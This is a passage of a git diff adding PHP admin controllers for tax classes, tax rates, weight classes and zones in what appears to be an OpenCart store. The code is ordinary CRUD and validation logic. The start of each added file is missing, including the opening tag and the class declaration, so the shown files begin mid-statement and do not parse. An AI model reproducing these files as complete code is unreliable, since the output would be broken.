+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $tax_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($tax_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($tax_class_total - $this->config->get('config_limit_admin'))) ? $tax_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $tax_class_total, ceil($tax_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['tax_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = '';
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['tax_class_id'])) {
+ $data['action'] = $this->url->link('localisation/tax_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/tax_class/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_class_id=' . $this->request->get['tax_class_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['tax_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $tax_class_info = $this->model_localisation_tax_class->getTaxClass($this->request->get['tax_class_id']);
+ }
+
+ if (isset($this->request->post['title'])) {
+ $data['title'] = $this->request->post['title'];
+ } elseif (!empty($tax_class_info)) {
+ $data['title'] = $tax_class_info['title'];
+ } else {
+ $data['title'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($tax_class_info)) {
+ $data['description'] = $tax_class_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ $this->load->model('localisation/tax_rate');
+
+ $data['tax_rates'] = $this->model_localisation_tax_rate->getTaxRates();
+
+ if (isset($this->request->post['tax_rule'])) {
+ $data['tax_rules'] = $this->request->post['tax_rule'];
+ } elseif (isset($this->request->get['tax_class_id'])) {
+ $data['tax_rules'] = $this->model_localisation_tax_class->getTaxRules($this->request->get['tax_class_id']);
+ } else {
+ $data['tax_rules'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['title']) < 3) || (utf8_strlen($this->request->post['title']) > 32)) {
+ $this->error['title'] = $this->language->get('error_title');
+ }
+
+ if ((utf8_strlen($this->request->post['description']) < 3) || (utf8_strlen($this->request->post['description']) > 255)) {
+ $this->error['description'] = $this->language->get('error_description');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $tax_class_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByTaxClassId($tax_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/tax_rate.php b/public/admin/controller/localisation/tax_rate.php
new file mode 100644
index 0000000..1b42a62
--- /dev/null
+++ b/public/admin/controller/localisation/tax_rate.php
@@ -0,0 +1,403 @@
+load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_rate->addTaxRate($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_rate->editTaxRate($this->request->get['tax_rate_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $tax_rate_id) {
+ $this->model_localisation_tax_rate->deleteTaxRate($tax_rate_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'tr.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/tax_rate/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/tax_rate/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['tax_rates'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $tax_rate_total = $this->model_localisation_tax_rate->getTotalTaxRates();
+
+ $results = $this->model_localisation_tax_rate->getTaxRates($filter_data);
+
+ foreach ($results as $result) {
+ $data['tax_rates'][] = array(
+ 'tax_rate_id' => $result['tax_rate_id'],
+ 'name' => $result['name'],
+ 'rate' => $result['rate'],
+ 'type' => ($result['type'] == 'F' ? $this->language->get('text_amount') : $this->language->get('text_percent')),
+ 'geo_zone' => $result['geo_zone'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('localisation/tax_rate/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_rate_id=' . $result['tax_rate_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.name' . $url, true);
+ $data['sort_rate'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.rate' . $url, true);
+ $data['sort_type'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.type' . $url, true);
+ $data['sort_geo_zone'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=gz.name' . $url, true);
+ $data['sort_date_added'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $tax_rate_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($tax_rate_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($tax_rate_total - $this->config->get('config_limit_admin'))) ? $tax_rate_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $tax_rate_total, ceil($tax_rate_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_rate_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['tax_rate_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['rate'])) {
+ $data['error_rate'] = $this->error['rate'];
+ } else {
+ $data['error_rate'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['tax_rate_id'])) {
+ $data['action'] = $this->url->link('localisation/tax_rate/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/tax_rate/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_rate_id=' . $this->request->get['tax_rate_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['tax_rate_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $tax_rate_info = $this->model_localisation_tax_rate->getTaxRate($this->request->get['tax_rate_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['name'] = $tax_rate_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['rate'])) {
+ $data['rate'] = $this->request->post['rate'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['rate'] = $tax_rate_info['rate'];
+ } else {
+ $data['rate'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['type'] = $tax_rate_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['tax_rate_customer_group'])) {
+ $data['tax_rate_customer_group'] = $this->request->post['tax_rate_customer_group'];
+ } elseif (isset($this->request->get['tax_rate_id'])) {
+ $data['tax_rate_customer_group'] = $this->model_localisation_tax_rate->getTaxRateCustomerGroups($this->request->get['tax_rate_id']);
+ } else {
+ $data['tax_rate_customer_group'] = array($this->config->get('config_customer_group_id'));
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['geo_zone_id'])) {
+ $data['geo_zone_id'] = $this->request->post['geo_zone_id'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['geo_zone_id'] = $tax_rate_info['geo_zone_id'];
+ } else {
+ $data['geo_zone_id'] = '';
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_rate_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_rate')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['rate']) {
+ $this->error['rate'] = $this->language->get('error_rate');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_rate')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ foreach ($this->request->post['selected'] as $tax_rate_id) {
+ $tax_rule_total = $this->model_localisation_tax_class->getTotalTaxRulesByTaxRateId($tax_rate_id);
+
+ if ($tax_rule_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_tax_rule'), $tax_rule_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/weight_class.php b/public/admin/controller/localisation/weight_class.php
new file mode 100644
index 0000000..2d80fbf
--- /dev/null
+++ b/public/admin/controller/localisation/weight_class.php
@@ -0,0 +1,375 @@
+load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_weight_class->addWeightClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_weight_class->editWeightClass($this->request->get['weight_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $weight_class_id) {
+ $this->model_localisation_weight_class->deleteWeightClass($weight_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/weight_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/weight_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['weight_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $weight_class_total = $this->model_localisation_weight_class->getTotalWeightClasses();
+
+ $results = $this->model_localisation_weight_class->getWeightClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['weight_classes'][] = array(
+ 'weight_class_id' => $result['weight_class_id'],
+ 'title' => $result['title'] . (($result['weight_class_id'] == $this->config->get('config_weight_class_id')) ? $this->language->get('text_default') : null),
+ 'unit' => $result['unit'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('localisation/weight_class/edit', 'user_token=' . $this->session->data['user_token'] . '&weight_class_id=' . $result['weight_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_unit'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=unit' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $weight_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($weight_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($weight_class_total - $this->config->get('config_limit_admin'))) ? $weight_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $weight_class_total, ceil($weight_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/weight_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['weight_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['unit'])) {
+ $data['error_unit'] = $this->error['unit'];
+ } else {
+ $data['error_unit'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['weight_class_id'])) {
+ $data['action'] = $this->url->link('localisation/weight_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/weight_class/edit', 'user_token=' . $this->session->data['user_token'] . '&weight_class_id=' . $this->request->get['weight_class_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['weight_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $weight_class_info = $this->model_localisation_weight_class->getWeightClass($this->request->get['weight_class_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['weight_class_description'])) {
+ $data['weight_class_description'] = $this->request->post['weight_class_description'];
+ } elseif (isset($this->request->get['weight_class_id'])) {
+ $data['weight_class_description'] = $this->model_localisation_weight_class->getWeightClassDescriptions($this->request->get['weight_class_id']);
+ } else {
+ $data['weight_class_description'] = array();
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($weight_class_info)) {
+ $data['value'] = $weight_class_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/weight_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/weight_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['weight_class_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 3) || (utf8_strlen($value['title']) > 32)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (!$value['unit'] || (utf8_strlen($value['unit']) > 4)) {
+ $this->error['unit'][$language_id] = $this->language->get('error_unit');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/weight_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $weight_class_id) {
+ if ($this->config->get('config_weight_class_id') == $weight_class_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByWeightClassId($weight_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/zone.php b/public/admin/controller/localisation/zone.php
new file mode 100644
index 0000000..85802d7
--- /dev/null
+++ b/public/admin/controller/localisation/zone.php
@@ -0,0 +1,393 @@
+load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
